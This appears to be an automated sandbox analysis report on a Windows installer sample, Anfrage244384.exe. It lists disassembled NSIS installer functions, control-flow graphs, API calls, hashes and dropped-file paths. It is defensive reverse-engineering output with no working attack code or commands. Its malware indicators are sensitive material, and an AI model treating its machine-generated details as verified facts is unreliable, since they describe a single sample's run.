                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 0040271A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FileFindFirst
                                                        • String ID:
                                                        • API String ID: 1974802433-0
                                                        • Opcode ID: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                        • Instruction ID: c78e1de3aafbb837fdaa481cd05ce35d28cdafaef4a854467420e3d3da5db3c0
                                                        • Opcode Fuzzy Hash: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                        • Instruction Fuzzy Hash: 18F0A7726041159BD710EBA49A49DEEB778DF15324F60417BF181B20C1D6B84A469B2A
                                                        Function 00403AD5 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 250 403ad5-403ae7 251 403c28-403c37 250->251 252 403aed-403af3 250->252 254 403c86-403c9b 251->254 255 403c39-403c81 GetDlgItem * 2 call 403fa8 SetClassLongA call 40140b 251->255 252->251 253 403af9-403b02 252->253 258 403b04-403b11 SetWindowPos 253->258 259 403b17-403b1a 253->259 256 403cdb-403ce0 call 403ff4 254->256 257 403c9d-403ca0 254->257 255->254 272 403ce5-403d00 256->272 261 403ca2-403cad call 401389 257->261 262 403cd3-403cd5 257->262 258->259 264 403b34-403b3a 259->264 265 403b1c-403b2e ShowWindow 259->265 261->262 283 403caf-403cce SendMessageA 261->283 262->256 271 403f75 262->271 267 403b56-403b59 264->267 268 403b3c-403b51 DestroyWindow 264->268 265->264 275 403b5b-403b67 SetWindowLongA 267->275 276 403b6c-403b72 267->276 273 403f52-403f58 268->273 280 403f77-403f7e 271->280 278 403d02-403d04 call 40140b 272->278 279 403d09-403d0f 272->279 273->271 284 403f5a-403f60 273->284 275->280 281 403c15-403c23 call 40400f 276->281 282 403b78-403b89 GetDlgItem 276->282 278->279 286 403f33-403f4c DestroyWindow EndDialog 279->286 287 403d15-403d20 279->287 281->280 289 403ba8-403bab 282->289 290 403b8b-403ba2 SendMessageA IsWindowEnabled 282->290 283->280 284->271 292 403f62-403f6b ShowWindow 284->292 286->273 287->286 288 403d26-403d73 call 405de5 call 403fa8 * 3 GetDlgItem 287->288 320 403d75-403d7a 288->320 321 403d7d-403db9 ShowWindow KiUserCallbackDispatcher call 403fca EnableWindow 288->321 294 403bb0-403bb3 289->294 295 403bad-403bae 289->295 290->271 290->289 292->271 299 403bc1-403bc6 294->299 300 403bb5-403bbb 294->300 298 403bde-403be3 call 403f81 295->298 298->281 303 403bfc-403c0f SendMessageA 299->303 305 403bc8-403bce 299->305 300->303 304 403bbd-403bbf 300->304 303->281 304->298 308 403bd0-403bd6 call 40140b 305->308 309 403be5-403bee call 40140b 305->309 316 403bdc 308->316 309->281 318 403bf0-403bfa 309->318 316->298 318->316 320->321 324 403dbb-403dbc 321->324 325 403dbe 321->325 326 403dc0-403dee GetSystemMenu EnableMenuItem SendMessageA 324->326 325->326 327 403df0-403e01 SendMessageA 326->327 328 403e03 326->328 329 403e09-403e42 call 403fdd call 405dc3 lstrlenA call 405de5 SetWindowTextA call 401389 327->329 328->329 329->272 338 403e48-403e4a 329->338 338->272 339 403e50-403e54 338->339 340 403e73-403e87 DestroyWindow 339->340 341 403e56-403e5c 339->341 340->273 342 403e8d-403eba CreateDialogParamA 340->342 341->271 343 403e62-403e68 341->343 342->273 344 403ec0-403f17 call 403fa8 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 342->344 343->272 345 403e6e 343->345 344->271 350 403f19-403f31 ShowWindow call 403ff4 344->350 345->271 350->273
                                                        APIs
                                                        • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B11
                                                        • ShowWindow.USER32(?), ref: 00403B2E
                                                        • DestroyWindow.USER32 ref: 00403B42
                                                        • SetWindowLongA.USER32(?,00000000,00000000), ref: 00403B5E
                                                        • GetDlgItem.USER32(?,?), ref: 00403B7F
                                                        • SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B93
                                                        • IsWindowEnabled.USER32(00000000), ref: 00403B9A
                                                        • GetDlgItem.USER32(?,00000001), ref: 00403C48
                                                        • GetDlgItem.USER32(?,00000002), ref: 00403C52
                                                        • SetClassLongA.USER32(?,000000F2,?), ref: 00403C6C
                                                        • SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403CBD
                                                        • GetDlgItem.USER32(?,00000003), ref: 00403D63
                                                        • ShowWindow.USER32(00000000,?), ref: 00403D84
                                                        • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D96
                                                        • EnableWindow.USER32(?,?), ref: 00403DB1
                                                        • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DC7
                                                        • EnableMenuItem.USER32(00000000), ref: 00403DCE
                                                        • SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403DE6
                                                        • SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403DF9
                                                        • lstrlenA.KERNEL32(0042A868,?,0042A868,Berny Setup), ref: 00403E22
                                                        • SetWindowTextA.USER32(?,0042A868), ref: 00403E31
                                                        • ShowWindow.USER32(?,0000000A), ref: 00403F65
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                        • String ID: Berny Setup
                                                        • API String ID: 3282139019-2516294091
                                                        • Opcode ID: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                        • Instruction ID: dc7e82238fa4606f4707b849198a3fa7e113026ae2232510f5cb024fb41842d5
                                                        • Opcode Fuzzy Hash: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                        • Instruction Fuzzy Hash: 89C1AF71604605ABDB206F22EE45E2B3EBCEB4570AF40053EF642B11F1CB79A942DB1D
                                                        Function 00403743 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215stringregistryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 353 403743-40375b call 40615c 356 40375d-40376d call 405d21 353->356 357 40376f-4037a0 call 405caa 353->357 366 4037c3-4037ec call 403a08 call 405923 356->366 362 4037a2-4037b3 call 405caa 357->362 363 4037b8-4037be lstrcatA 357->363 362->363 363->366 371 4037f2-4037f7 366->371 372 403873-40387b call 405923 366->372 371->372 374 4037f9-403811 call 405caa 371->374 378 403889-4038ae LoadImageA 372->378 379 40387d-403884 call 405de5 372->379 377 403816-40381d 374->377 377->372 380 40381f-403821 377->380 382 4038b0-4038e0 RegisterClassA 378->382 383 40392f-403937 call 40140b 378->383 379->378 384 403832-40383e lstrlenA 380->384 385 403823-403830 call 405860 380->385 386 4038e6-40392a SystemParametersInfoA CreateWindowExA 382->386 387 4039fe 382->387 396 403941-40394c call 403a08 383->396 397 403939-40393c 383->397 391 403840-40384e lstrcmpiA 384->391 392 403866-40386e call 405835 call 405dc3 384->392 385->384 386->383 390 403a00-403a07 387->390 391->392 395 403850-40385a GetFileAttributesA 391->395 392->372 399 403860-403861 call 40587c 395->399 400 40385c-40385e 395->400 406 403952-40396c ShowWindow call 4060ee 396->406 407 4039d5-4039dd call 4050ae 396->407 397->390 399->392 400->392 400->399 412 403978-40398a GetClassInfoA 406->412 413 40396e-403973 call 4060ee 406->413 414 4039f7-4039f9 call 40140b 407->414 415 4039df-4039e5 407->415 418 4039a2-4039c5 DialogBoxParamA call 40140b 412->418 419 40398c-40399c GetClassInfoA RegisterClassA 412->419 413->412 414->387 415->397 420 4039eb-4039f2 call 40140b 415->420 424 4039ca-4039d3 call 403693 418->424 419->418 420->397 424->390
                                                        APIs
                                                          • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                          • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                        • lstrcatA.KERNEL32(1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,75923410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Anfrage244384.exe",00000000), ref: 004037BE
                                                        • lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\secretaryships,1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,75923410), ref: 00403833
                                                        • lstrcmpiA.KERNEL32(?,.exe), ref: 00403846
                                                        • GetFileAttributesA.KERNEL32(Call), ref: 00403851
                                                        • LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\secretaryships), ref: 0040389A
                                                          • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                        • RegisterClassA.USER32(0042EBA0), ref: 004038D7
                                                        • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004038EF
                                                        • CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403924
                                                        • ShowWindow.USER32(00000005,00000000), ref: 0040395A
                                                        • GetClassInfoA.USER32(00000000,RichEdit20A,0042EBA0), ref: 00403986
                                                        • GetClassInfoA.USER32(00000000,RichEdit,0042EBA0), ref: 00403993
                                                        • RegisterClassA.USER32(0042EBA0), ref: 0040399C
                                                        • DialogBoxParamA.USER32(?,00000000,00403AD5,00000000), ref: 004039BB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                        • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                        • API String ID: 1975747703-889953454
                                                        • Opcode ID: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                        • Instruction ID: b4fd17e6ad5735db6f0d6fe5a96b28392e8485eca6c7d92ade12033e63288973
                                                        • Opcode Fuzzy Hash: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                        • Instruction Fuzzy Hash: C261D8716446407ED720BF669D45F273EACDB54749F80447FF941B22E2CBBC99028A2D
                                                        Function 00402CFA Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 427 402cfa-402d48 GetTickCount GetModuleFileNameA call 405a36 430 402d54-402d82 call 405dc3 call 40587c call 405dc3 GetFileSize 427->430 431 402d4a-402d4f 427->431 439 402d88 430->439 440 402e6f-402e7d call 402c96 430->440 432 402f2c-402f30 431->432 442 402d8d-402da4 439->442 446 402ed2-402ed7 440->446 447 402e7f-402e82 440->447 444 402da6 442->444 445 402da8-402db1 call 403145 442->445 444->445 454 402db7-402dbe 445->454 455 402ed9-402ee1 call 402c96 445->455 446->432 449 402e84-402e9c call 40315b call 403145 447->449 450 402ea6-402ed0 GlobalAlloc call 40315b call 402f33 447->450 449->446 478 402e9e-402ea4 449->478 450->446 476 402ee3-402ef4 450->476 456 402dc0-402dd4 call 4059f1 454->456 457 402e3a-402e3e 454->457 455->446 465 402e48-402e4e 456->465 474 402dd6-402ddd 456->474 464 402e40-402e47 call 402c96 457->464 457->465 464->465 467 402e50-402e5a call 4061d1 465->467 468 402e5d-402e67 465->468 467->468 468->442 475 402e6d 468->475 474->465 480 402ddf-402de6 474->480 475->440 481 402ef6 476->481 482 402efc-402f01 476->482 478->446 478->450 480->465 483 402de8-402def 480->483 481->482 484 402f02-402f08 482->484 483->465 485 402df1-402df8 483->485 484->484 486 402f0a-402f25 SetFilePointer call 4059f1 484->486 485->465 487 402dfa-402e1a 485->487 490 402f2a 486->490 487->446 489 402e20-402e24 487->489 491 402e26-402e2a 489->491 492 402e2c-402e34 489->492 490->432 491->475 491->492 492->465 493 402e36-402e38 492->493 493->465
                                                        APIs
                                                        • GetTickCount.KERNEL32 ref: 00402D0B
                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Anfrage244384.exe,00000400), ref: 00402D27
                                                          • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405A3A
                                                          • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                        • GetFileSize.KERNEL32(00000000,00000000,00437000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage244384.exe,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00402D73
                                                        Strings
                                                        • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED2
                                                        • C:\Users\user\Desktop\Anfrage244384.exe, xrefs: 00402D11, 00402D20, 00402D34, 00402D54
                                                        • Null, xrefs: 00402DF1
                                                        • soft, xrefs: 00402DE8
                                                        • Inst, xrefs: 00402DDF
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00402D01
                                                        • Error launching installer, xrefs: 00402D4A
                                                        • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 00402CFA
                                                        • C:\Users\user\Desktop, xrefs: 00402D55, 00402D5A, 00402D60
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                        • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage244384.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
                                                        • API String ID: 4283519449-3819998680
                                                        • Opcode ID: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                        • Instruction ID: d5918a9216ca672954190790a9c5efd9bc82950644bb13a7859279fc2a8a748f
                                                        • Opcode Fuzzy Hash: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                        • Instruction Fuzzy Hash: 9F51EB71940215ABDB20AF64DE89B9F7BB8EB14355F50403BF900B72D1C7B88D858BAD
                                                        Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147stringtimeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 825 401759-40177c call 402ace call 4058a2 830 401786-401798 call 405dc3 call 405835 lstrcatA 825->830 831 40177e-401784 call 405dc3 825->831 836 40179d-4017a3 call 40602e 830->836 831->836 841 4017a8-4017ac 836->841 842 4017ae-4017b8 call 4060c7 841->842 843 4017df-4017e2 841->843 850 4017ca-4017dc 842->850 851 4017ba-4017c8 CompareFileTime 842->851 845 4017e4-4017e5 call 405a11 843->845 846 4017ea-401806 call 405a36 843->846 845->846 853 401808-40180b 846->853 854 40187e-4018a7 call 404fdc call 402f33 846->854 850->843 851->850 855 401860-40186a call 404fdc 853->855 856 40180d-40184f call 405dc3 * 2 call 405de5 call 405dc3 call 4055b9 853->856 868 4018a9-4018ad 854->868 869 4018af-4018bb SetFileTime 854->869 866 401873-401879 855->866 856->841 889 401855-401856 856->889 870 402967 866->870 868->869 872 4018c1-4018cc CloseHandle 868->872 869->872 873 402969-40296d 870->873 875 4018d2-4018d5 872->875 876 40295e-402961 872->876 878 4018d7-4018e8 call 405de5 lstrcatA 875->878 879 4018ea-4018ed call 405de5 875->879 876->870 883 4018f2-4022e2 call 4055b9 878->883 879->883 883->873 889->866 891 401858-401859 889->891 891->855
                                                        APIs
                                                        • lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Khami,00000000,00000000,00000031), ref: 00401798
                                                        • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Khami,00000000,00000000,00000031), ref: 004017C2
                                                          • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Berny Setup,NSIS Error), ref: 00405DD0
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                          • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                          • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,759223A0), ref: 00405038
                                                          • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                          • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                        • String ID: C:\Users\user\AppData\Local\Temp\nsb8E12.tmp$C:\Users\user\AppData\Local\Temp\nsb8E12.tmp\System.dll$C:\Users\user\AppData\Roaming\secretaryships\Khami$Call
                                                        • API String ID: 1941528284-1231422599
                                                        • Opcode ID: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                        • Instruction ID: 615a3562c55b05fa993605831867e42c155a1137a6b97b034e6d1829953e469f
                                                        • Opcode Fuzzy Hash: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                        • Instruction Fuzzy Hash: E541D572910515BBCF107BB5DC49EAF3679EF05368F20823BF121B20E1D67C8A518A6D
                                                        Function 00402F33 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 892 402f33-402f47 893 402f50-402f59 892->893 894 402f49 892->894 895 402f62-402f67 893->895 896 402f5b 893->896 894->893 897 402f77-402f84 call 403145 895->897 898 402f69-402f72 call 40315b 895->898 896->895 902 403133 897->902 903 402f8a-402f8e 897->903 898->897 904 403135-403136 902->904 905 402f94-402fdd GetTickCount 903->905 906 4030de-4030e0 903->906 909 40313e-403142 904->909 910 402fe3-402feb 905->910 911 40313b 905->911 907 403120-403123 906->907 908 4030e2-4030e5 906->908 912 403125 907->912 913 403128-403131 call 403145 907->913 908->911 914 4030e7 908->914 915 402ff0-402ffe call 403145 910->915 916 402fed 910->916 911->909 912->913 913->902 926 403138 913->926 919 4030ea-4030f0 914->919 915->902 925 403004-40300d 915->925 916->915 922 4030f2 919->922 923 4030f4-403102 call 403145 919->923 922->923 923->902 929 403104-403110 call 405add 923->929 928 403013-403033 call 40623f 925->928 926->911 934 4030d6-4030d8 928->934 935 403039-40304c GetTickCount 928->935 936 403112-40311c 929->936 937 4030da-4030dc 929->937 934->904 938 403091-403093 935->938 939 40304e-403056 935->939 936->919 940 40311e 936->940 937->904 943 403095-403099 938->943 944 4030ca-4030ce 938->944 941 403058-40305c 939->941 942 40305e-40308e MulDiv wsprintfA call 404fdc 939->942 940->911 941->938 941->942 942->938 947 4030b0-4030bb 943->947 948 40309b-4030a2 call 405add 943->948 944->910 945 4030d4 944->945 945->911 950 4030be-4030c2 947->950 952 4030a7-4030a9 948->952 950->928 953 4030c8 950->953 952->937 954 4030ab-4030ae 952->954 953->911 954->950
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CountTick$wsprintf
                                                        • String ID: TA$ TA$... %d%%$;mA
                                                        • API String ID: 551687249-2794615820
                                                        • Opcode ID: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                        • Instruction ID: 17fda0b725f1c36f5789cb51541ed76e7f3e8dd53de897cd261334f9a9fb1752
                                                        • Opcode Fuzzy Hash: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                        • Instruction Fuzzy Hash: 4F519D71901219DBCB10DF65DA44B9E7BB8EF08366F10813BE810B72D0D7789A41CBAD
                                                        Function 004054A2 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 955 4054a2-4054ed CreateDirectoryA 956 4054f3-405500 GetLastError 955->956 957 4054ef-4054f1 955->957 958 40551a-40551c 956->958 959 405502-405516 SetFileSecurityA 956->959 957->958 959->957 960 405518 GetLastError 959->960 960->958
                                                        APIs
                                                        • CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                        • GetLastError.KERNEL32 ref: 004054F9
                                                        • SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040550E
                                                        • GetLastError.KERNEL32 ref: 00405518
                                                        Strings
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 004054C8
                                                        • C:\Users\user\Desktop, xrefs: 004054A2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                        • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
                                                        • API String ID: 3449924974-1521822154
                                                        • Opcode ID: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                        • Instruction ID: 8f3a1ad4c11c26192a8320527681c6b281dda8cd8d23604747c1fe251039353f
                                                        • Opcode Fuzzy Hash: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                        • Instruction Fuzzy Hash: 2101E571D10619EADF119FA4CA047EFBFB8EB14355F00403AD945B6180D77896488FA9
